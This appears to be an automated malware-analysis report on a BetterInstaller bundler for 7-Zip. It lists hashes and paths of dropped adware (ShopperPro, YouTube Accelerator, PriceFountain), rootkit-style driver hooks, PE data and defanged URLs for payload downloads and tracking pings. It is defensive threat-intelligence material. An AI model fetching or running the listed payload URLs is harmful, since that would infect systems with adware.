e2baf00967934696c4aa063eca56b6b8	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\psmachine.dll
41448abde73d0ff1898dc6ed7700a66a	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\psmachine_64.dll
3579d443df2fc0a9692334b6380fe276	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\psuser.dll
665975cf6e511115b931b2e6bb27ba40	c:\Program Files (x86)\Google\UpdateÂ \1.3.25.11\psuser_64.dll
87eb5afd21e52cb08883e04605b55829	c:\Program Files (x86)\Google\UpdateÂ \Download\{430FD4D0-B729-4F61-AA34-91526481799D}\1.3.25.11\GoogleUpdateSetup.exe
df61864ba778845c6e725f7bf1eaeb0e	c:\Program Files (x86)\Google\UpdateÂ \Download\{4DC8B4CA-1BDA-483E-B5FA-D3C12E15B62D}\35.0.1916.153\35.0.1916.153_35.0.1916.114_chrome_updater.exe
506708142bc63daba64f2d3ad1dcd5bf	c:\Program Files (x86)\Google\UpdateÂ \GoogleUpdate.exe
87eb5afd21e52cb08883e04605b55829	c:\Program Files (x86)\Google\UpdateÂ \Install\{9177B3F1-25F2-4DF7-B2CA-05F66AA8B457}\GoogleUpdateSetup.exe
50e10835510ad6efb866f2a57c2179aa	c:\Program Files (x86)\PriceLess\GyPMznBeNw9Nlq.dll
7405b1fe0927ab16729184adbfb560cf	c:\Program Files (x86)\PriceLess\GyPMznBeNw9Nlq.x64.dll
37dc08840e900e1d8a5c5dab9d0a6496	c:\Program Files (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.exe
2a9aa176cf676eca92fbd93752c5ac93	c:\Program Files (x86)\ShopperPro\JSDriver\1463.0.0.0\jsdrv.sys
37dc08840e900e1d8a5c5dab9d0a6496	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.exe
2a9aa176cf676eca92fbd93752c5ac93	c:\Program Files (x86)\ShopperPro\JSDriver\jsdrv.sys
016849a12e8486ab8333291dfaa8f268	c:\Program Files (x86)\ShopperPro\SPRemove.exe
a483b7b4c697d5a75b562fa5376180ae	c:\Program Files (x86)\ShopperPro\ShopperPro.dll
744fd21442d354486dc9c7e87ca05e18	c:\Program Files (x86)\ShopperPro\ShopperPro.exe
63ed7e20fdbf7f0f10068c4a2e83a2e9	c:\Program Files (x86)\ShopperPro\ShopperPro64.dll
a36f4563b4390a62db0c8e3d40886dd2	c:\Program Files (x86)\ShopperPro\Updater.exe
d4675e3ca8796727bd65628563a55c2c	c:\Program Files (x86)\Supporter\Supporter.dll
7b538383623b61c01dc8c9db2f27192a	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.exe
fcd7181045d7f45863163685f63cbc26	c:\Program Files (x86)\YTAHelper\JSDriver\jsdrv.sys
3db5e55f5b7cad6dfa73987703be553d	c:\Program Files (x86)\YTAHelper\SPRemove.exe
0f280884fb3ea901810e3687d520e66b	c:\Program Files (x86)\YTAHelper\YTAHelper.dll
4c2cbf16ac43df603dd18ef5adb7e7c0	c:\Program Files (x86)\YTAHelper\YTAHelper.exe
ea7bfd3722f6bdb16942dfdcebe2a7bd	c:\Program Files (x86)\YTAHelper\YTAHelper64.dll
f593c94827e130cdb5c3215e0753c781	c:\Program Files (x86)\YouTube Accelerator\Res.dll
973567b98cdfc147df4e60471d9df072	c:\Program Files (x86)\YouTube Accelerator\UNWISE.EXE
96257545e464d8e48a767dca7158ab18	c:\Program Files (x86)\YouTube Accelerator\Updater.exe
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Program Files (x86)\YouTube Accelerator\YTAHUninstall.exe
214055e3a33c271e88d48a02f9b0f77f	c:\Program Files (x86)\YouTube Accelerator\YTAUninstall.exe
592989a426ae8bd543816906b4e404b6	c:\Program Files (x86)\YouTube Accelerator\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Program Files (x86)\YouTube Accelerator\YouTubeAcceleratorService.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Program Files (x86)\YouTube Accelerator\cabex.dll
30a7767ce7edd677b85dbf308476be5e	c:\Program Files (x86)\YouTube Accelerator\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Program Files (x86)\YouTube Accelerator\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Program Files (x86)\YouTube Accelerator\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Program Files (x86)\YouTube Accelerator\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Program Files (x86)\YouTube Accelerator\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Program Files (x86)\YouTube Accelerator\sporder.dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Program Files (x86)\YouTube Accelerator\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Program Files (x86)\YouTube Accelerator\unelevate.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Program Files (x86)\YouTube Accelerator\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Program Files (x86)\YouTube Accelerator\ytalsp.dll
2e8b87a7bdbe702e25f69f27b6a8b32e	c:\Program Files\Common Files\ShopperPro\spbia.exe
8aeda10fcac4921996f88cd6b30d4f7d	c:\Program Files\Common Files\ShopperPro\spbici32.dll
5d64cea5fa3dd8db77f1240072f92856	c:\Program Files\Common Files\ShopperPro\spbici64.dll
1704a3b41f1f0d5357d8f3bbcf796c76	c:\Program Files\Common Files\ShopperPro\spbii32.exe
0f1fdd0290c810ef6ef9eadcb2003408	c:\Program Files\Common Files\ShopperPro\spbii64.exe
df8bf88ce4504a57e8cf9394075330f9	c:\Program Files\Common Files\ShopperPro\spbiu.exe
9503b13da2052e60d1f7de1174ebddaa	c:\Program Files\Common Files\ShopperPro\spbiw.sys
38a466714870eece9f77622f34ae89c4	c:\ProgramData\PriceLess\ovvklDzNeN5MqWS.exe
a483b7b4c697d5a75b562fa5376180ae	c:\ProgramData\ShopperPro\ShopperPro.dll
63ed7e20fdbf7f0f10068c4a2e83a2e9	c:\ProgramData\ShopperPro\ShopperPro64.dll
38a466714870eece9f77622f34ae89c4	c:\Users\All Users\PriceLess\ovvklDzNeN5MqWS.exe
a483b7b4c697d5a75b562fa5376180ae	c:\Users\All Users\ShopperPro\ShopperPro.dll
63ed7e20fdbf7f0f10068c4a2e83a2e9	c:\Users\All Users\ShopperPro\ShopperPro64.dll
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installiwebar_11555\ins_postInst.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Installer\Installsense_11555\ins_postInst.exe
7593be8c6ebf14ceead30f14004daf0c	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainIE.dll
4c8db565428369aa2b3e4e706d179175	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\PriceFountainUpdateVer.exe
b0ffc541f6e32448d0243836c1d728c4	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\prfo.dll
1ff24853f5ea4012225c2297d38afb07	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountain.exe
557782f6f6eeb160252bcd06b64687f7	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\pricefountainw.exe
c46e8565e1f60ad1bd11713e4cf44ce6	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\sfx.exe
aba069326327747d739be51094cd31c2	c:\Users\"%CurrentUserName%"\AppData\Local\PriceFountain\uninst.exe
3109e561b5b7bc116015ae48dcc65a20	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\18be6784_.exe
9b252ce87457c64acd4a0c4ece0abaf1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\260.tmp
38a466714870eece9f77622f34ae89c4	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\294823_.exe
6dcc7943fbbb626fd1c9837d683d9554	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\4B03.tmp
6dcc7943fbbb626fd1c9837d683d9554	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\5408.tmp
b3fdf6e7b0aecd48ca7e4921773fb606	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\7z920.exe
9b252ce87457c64acd4a0c4ece0abaf1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\8B7.tmp
d65611fbc4da8cea4e886076bec82d1e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\InstallGenieo.exe
f9092a47c8e3b49ae282a8b4e97d5599	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18676\ins_postInst.exe
e1f48aa094bffe3887d0ffec22eaae1f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_18676\ins_yta.exe
592b1f0c3bcb225894b75e66445da21f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\Install_28041\ins_shopperpro.exe
45960b40c1ecb75ed5549a80049879e1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\AniGIF.ocx
f593c94827e130cdb5c3215e0753c781	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\Res.dll
496dd2c9f288bafc7e3c3e8b9e30c5cb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHUninstall.exe
74fb4a7f6e8fb16497b109264ebd87b5	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YTAHelper.exe
592989a426ae8bd543816906b4e404b6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAccelerator.exe
6354ff478451dc33755ffaea5163eabb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\YouTubeAcceleratorService.exe
30a7767ce7edd677b85dbf308476be5e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\engine.dll
3f60c99839e22b593223eb083e1ae454	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\helper.dll
e3ca787c4ef41e3d3c212899dd361daf	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ipc.dll
cba2facb405fc377eced6abe5e8fe605	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst.exe
1b3f12f9710b8079619d87728f711cfb	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\lspinst2.exe
a082e5473b2a9a4d846ed7ddf637ac76	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\sporder.Dll
bfe64f99674b43adc1806cd3183f4fbd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\testlsp.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\unelevate.exe
96257545e464d8e48a767dca7158ab18	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\updater.exe
e09fa1c699e985e4cf8cfc6457dba9f1	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\xmldb.dll
6289966fd5c7d68cc37d526f6a40cdfa	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytalsp.dll
214055e3a33c271e88d48a02f9b0f77f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\SAINST\ytauninstall.exe
518879abe3170dabd172dfffcd165598	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\appshat_generic.exe
1bdf5e5015efcaa68b05cec0a79be484	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\biclient.exe
3f4049d8bf040812a96680c5a6b377fd	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\cabex.dll
3a9ce8edf728d00a44376a75fe7b2aca	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nse2AE8.tmp\nsProcess.dll
5bb596e1d918ce55ecadc1476eb5ec8f	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\AccDownload.dll
f0438a894f3a7e01a4aae8d1b5dd0289	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\nsp2C11.tmp\nsProcess.dll
aba069326327747d739be51094cd31c2	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\setup.exe
06eb2c9292bf7ccc151dc8cdbcbe8d7e	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\smt_mystartsearch.exe
7a9c58d8e215fcd47d371fe81d7aa1f6	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\unelevate.exe
a1460a97eed5061e91bb0d5c39077a35	c:\Users\"%CurrentUserName%"\AppData\Local\Temp\ytaiesmt_smtyc_setup.exe
45960b40c1ecb75ed5549a80049879e1	c:\Windows\SysWOW64\AniGIF.ocx
45960b40c1ecb75ed5549a80049879e1	c:\Windows\System32\AniGIF.ocx

HOSTS file anomalies

No changes have been detected.

Rootkit activity

Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls creation and closing of threads by installing the thread notifier.
Using the driver "\??\%Program Files%\Common Files\ShopperPro\spbiw.sys" the Application controls loading executable images into a memory by installing the Load image notifier.

Propagation

VersionInfo

Company Name:
Product Name:
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version: 2.0.0.0
File Description: Powered by BetterInstaller
Comments:
Language: Language Neutral

PE Sections

Name	Virtual Address	Virtual Size	Raw Size	Entropy	Section MD5
.text	4096	28860	29184	4.36907	33e8227bf6edbf3997e3d0895494668e
.data	36864	140	512	0.818223	1b0351714f371c0ba066871d4e504b00
.rdata	40960	3196	3584	3.54441	88a268b1fac88e9fad865c68cf3abce2
.bss	45056	110088	0	0	d41d8cd98f00b204e9800998ecf8427e
.idata	155648	4932	5120	3.53424	11c816edc4ef9cc4aa5511f8a707232b
.ndata	163840	32768	1024	0	0f343b0931126a20f133d67c2b018a3b
.rsrc	196608	17800	17920	3.94947	910d365c8572b40bfb8141bb8ae1ba88

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Total found: 3543
7f6d030a23f210ff0f767468fe3edd48
b130b2441d4efb74c1a73320cb4e43b4
13ff10c75aabbfa3d861284987026463
af04fb128251a6f9ecfbe5525b23fc50
90af3f6a390de3ec2ab60d9e301250e0
601232ed12a84b4a3247e5c18e0e07a5
bb19753a7567028f276ee137b8d50144
d104eb6ba8ed08b1624953969600ebcf
d64266d81fd47cedbc43b6357041a4cd
494a0f490af7b671dabd129b4bc83fcf
8665063e69206e6940642192e1f15909
a4c45efd11c95acb3f8dd482888a3642
ad7113c7eec8eaae708376b86c6f6f52
874be7546fb6e432cb4a330dc5ec7596
ede334a87d992472c71667a248f89c1c
49960f48393fcac09fb52092a04b22bd
eb2695905880c41fba742a4fe5366897
a69f389a272224b9bc664792b5e1407e
cdf430e7264af6513b696a6df6ec1f25
3a4c02c438efcfa5aa2211d4757cb612
c5b0419e20e2e448a1c2cdc1ac6697d1
99e3ed290e3f48c59f796c5a86d7eee4
94eb10c840beaf5a3ba4555bfa99f615
17e39a9c5222c7b4433d1171b6d6c4be
1ac2ea353897dd6f96e0e5c8ec033994

URLs

URL	IP
hxxp://installer.betterinstaller.com/awfr7zip23772/7zip/799c6eaebeb52f4eabf469c6ed8ad1c0?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://d16a55el92698t.cloudfront.net/images/Tokyo/tokyo_sprite_full.png	54.230.45.197
hxxp://dsba220j59f4d.cloudfront.net/images/Tokyo/tokyoLightGrayStripesBG.jpg	54.192.47.104
hxxp://installer.betterinstaller.com/installer/ajax
hxxp://d16a55el92698t.cloudfront.net/sponsored/speedbit/eula-youtubeaccelerator.html	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/sponsored/pricefountain/eula-pricefountain.html	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/sponsored/mystartsearch/eula-mystartsearch.html	54.230.45.197
hxxp://www-google-analytics.l.google.com/ga.js
hxxp://www-google-analytics.l.google.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=2027506505&utmhn=bi.bisrv.com&utmhid=2022498955&utmr=-&utmp=Installer_Init&utmht=1420692710504&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=818646258&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://d16a55el92698t.cloudfront.net/sponsored/sourceapp/eula-sourceapp.html	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/mag/ytaiesmt_smtyc_setup.exe	54.230.45.197
hxxp://mirror.frogdownload.com/software_files/7_zip/7zip_32.png
hxxp://d16a55el92698t.cloudfront.net/sponsored/pricefountain/pricefountain.png	54.230.45.197
hxxp://d16a55el92698t.cloudfront.net/mirror/pricefountain/default/setup.exe	54.230.45.197
hxxp://www.girlzhangwei.com/home/smt_mystartsearch.exe	174.36.213.49
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.29817793411190424
hxxp://a1049.d.akamai.net/sd?is=sm
hxxp://mirror.frogdownload.com/software_files/7_zip/9_20/7z920.exe
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&0.08816333805861742
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=2&index_in_screen=1&index_in_session=2&display_height=137&0.07568601095528388
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=pricefountain&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=2&index_in_screen=1&index_in_session=2&0.00945544236874668
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=3&index_in_screen=1&index_in_session=3&display_height=50&0.5306022535342854
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=mystartsearch&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=3&index_in_screen=1&index_in_session=3&0.6907108293963664
hxxp://installer.betterinstaller.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=4&index_in_screen=1&index_in_session=4&display_height=185&0.44884757868918307
hxxp://installer.betterinstaller.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=sourceapp_sem&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=4&index_in_screen=1&index_in_session=4&0.6836616873137087
hxxp://d16a55el92698t.cloudfront.net/t.ashx?e=lOCrbsNL2zWYW6sXTpZ7/L1yLlvxP1mXpL1q0D3vvXT8ln8Iap23//2TEkHeJNDUNLVXkHqu5msdlItDucQRpNQoCJasmvuZd/XCztdoPbIiDxPRY4o5upR90anDedSCpjurIyC9QLD3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn	54.230.45.197
hxxp://d2ly1rbvrtv0k6.cloudfront.net/install.ashx?e=obiBp3WOda9tb/LgACKPGiyMiXp71dskPvLZmlZ/REBZxrddMpcl9iuIlCBhM10qy/hL8rqZ RaEgBvOe8 r0o/iiYZxylfDKPuMdH9xkPG/nLxuMxZnjpvztqm1ks0MUDU/qLqyxpOhe9XQAI/g0xXJq6etqh5BB5HOb5LKs708Yf66A51TV0n3PBY57gZaSpNFh3KRjOdBw5q/V 8gicVOgnEZemiTsynlrkkotjxHW5 PP3 xQCKpiCy8tT1IqsqBKQmNMgwZSLwFUo/y3 vZ8UlE5kQe0K0sjaOfEW1B092xzGmdx9jHfHsw8mq7XigkLJX7XBGF7Qe2/p5heBnJKiwdbvej29xQFYGWeoOF1daz2AcKxastnHeKqEA5dKHj74dJ/dzXsbxfWd6AL2Vw/FKQ7TCCIE52/Qrexgg=	54.192.46.149
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hXeqmv1IpemgBgKVQb1/X71yLlvxP1mXpL1q0D3vvXT8ln8Iap23//2TEkHeJNDUNLVXkHqu5msdlItDucQRpNQoCJasmvuZd/XCztdoPbJFiFlIaXxqEcmxw368usKjODQ8kqa2OFucXyuYdOQyobLZ4ZHHnwlV4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJr38Km4JMgAXQ==	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=PcwT4QFtuPBPNjxRBLtb49RDbIMDlEm8/WD6e6SZIIHeyzV7AofXlvpVi1LU/zm/OEn77aY2R7O4gc8YM9gzsdaoPZj94HyTzprDiolRFccz/yeZN BbCCmF904v4t2DaVtcL0PMGkj3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22OWbU/CGmJ5Yn	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMD2EmqgkTvADzP/J5k34FsIKYX3Ti/i3YNpW1wvQ8waSPeJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLNH39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR9k3ly07joAI=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMDfE/ OuNytPyvTet81FAwHjgb6v7cXpPvFETdes9rP1NMG9E/tRz/bjPDFOy mdVxc7JTfzqJuQ2xNoUmVdbK77K3bmITDI9uOy dZOY5uM7AQhJgQ701L5HhsLbx0/gqzVkJplblMkMHrkZhAPMQ8XWaVP37vHu Ri5l77H9V8w==	54.192.47.221
hxxp://www-google-analytics.l.google.com/__utm.gif?utmwv=5.6.1&utms=2&utmn=541658946&utmhn=bi.bisrv.com&utmhid=2022498955&utmr=-&utmp=Offer_Accepted&utmht=1420692760280&utmac=UA-31676879-1&utmcc=__utma=1.1332783022.1420692710.1420692710.1420692710.1;+__utmz=1.1420692710.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=&utmu=qhCAAgAAAAABAAAAAAAAAAAE~
hxxp://installer.betterinstaller.com/pinger?event_type=install_start&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=799c6eaebeb52f4eabf469c6ed8ad1c0&uniqid=false&affiliate_id=awfr7zip23772&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=2bd0d26c83b0afa7e2f12469d545ddae&tokyo_csrf2_timestamp=1420692730&slot_number=1&index_in_screen=1&index_in_session=1&0.10465623877104008
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMCn6YLYg8vr7 xHF95KOCt7DNmmGug8UNyrMrg41l/Ly7CST5Ycto3cE6nMAQ0x67lxVrNxtz1yEYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbjsvnWTmObjOwEISYEO9NS R4bC28dP4Ks1ZCaZW5TJDB65GYQDzEPF1mlT9 7x7vkYuZe x/VfM=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=hpY1rXLYst5PNjxRBLtb41xlbi7ZOCjl/WD6e6SZIIExLHUkaU066zsPf/PibBcqj7/5mrSsYJ9OReqc9ConLru6reUs0od7Td iKeCGIB4r Wge0micn9s34bxlLfK5 b/YhL9w2PR0gYZFzD/Ro8FNKRKreUMO333RAvM0VMCzhm0AeRIUo44G r 3F6T7o ZAytpZ9B/ewapHV13X4PiY0VDEtXdazBaKXaEKdzFwqwK4Z/LB/gEuwwpt2SWXC/H/dL1Z3VIip4wN1YzN4gqhU/KMtaaY94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcs0ff1n8lANJQs3q 9bHhCxMCWYeUeZos ojJw7X8gLJH2TeXLTuOgAg==	54.192.47.221
hxxp://d16a55el92698t.cloudfront.net/yta33_sh_full.exe	54.230.45.197
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUZR0WuEl7dbF0kOkPP/ lcpu8eAfWsOK5ZLOhm7KiO348MKRqZY TBH6dnj3H5nABveJIUUI29KJua/YhbaaQtbhLKDJ7gHH44roFtpr/bY5tMM9FOiO9IIcxXLgDRmHLNH39Z/JQDSULN6vvWx4QsTAlmHlHmaLPqIycO1/ICyR9k3ly07joAI=	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUb9PKObAHk8Ms IILilpWF3L95ytGxurmx7yxagmX1ikbxkEeDXhjVSM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvkeGwtvHT CrNWQmmVuUyQweuRmEA8xDxdZpU/fu8e75GLmXvsf1Xz	54.192.47.221
hxxp://d2otsfra4otprh.cloudfront.net/p.ashx?e=XJYuqQQo69d2lr6SLgmZcsxndPpeZYzTOH0Gtx4 rumMDmRWpWBZ0PxJo1EJGyYRPKewvcYQT1NQmkxt0V5akyzer71seELEwJZh5R5miz6iMnDtfyAskYOvraEh9LgqxIIWpTPES4rmkEK3qBiKqmOb oG5zKnmCLVZfhb AizVAezdf3aKUbqfIekNLhs5jgb6v7cXpPsfukqxdW6Kzzz4pxZKLL7/a0RCgbXs/u1ilv6ykvr0V1xu7KMyWvkL2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvk TnksFA3b2qxIuLfE9QOuDcI4BI3IQ7Vhwj8NsVNwNkIzqnJdgYVZ4qxOlJ8vXHBc1Nyo6/HRxg==	54.192.47.221
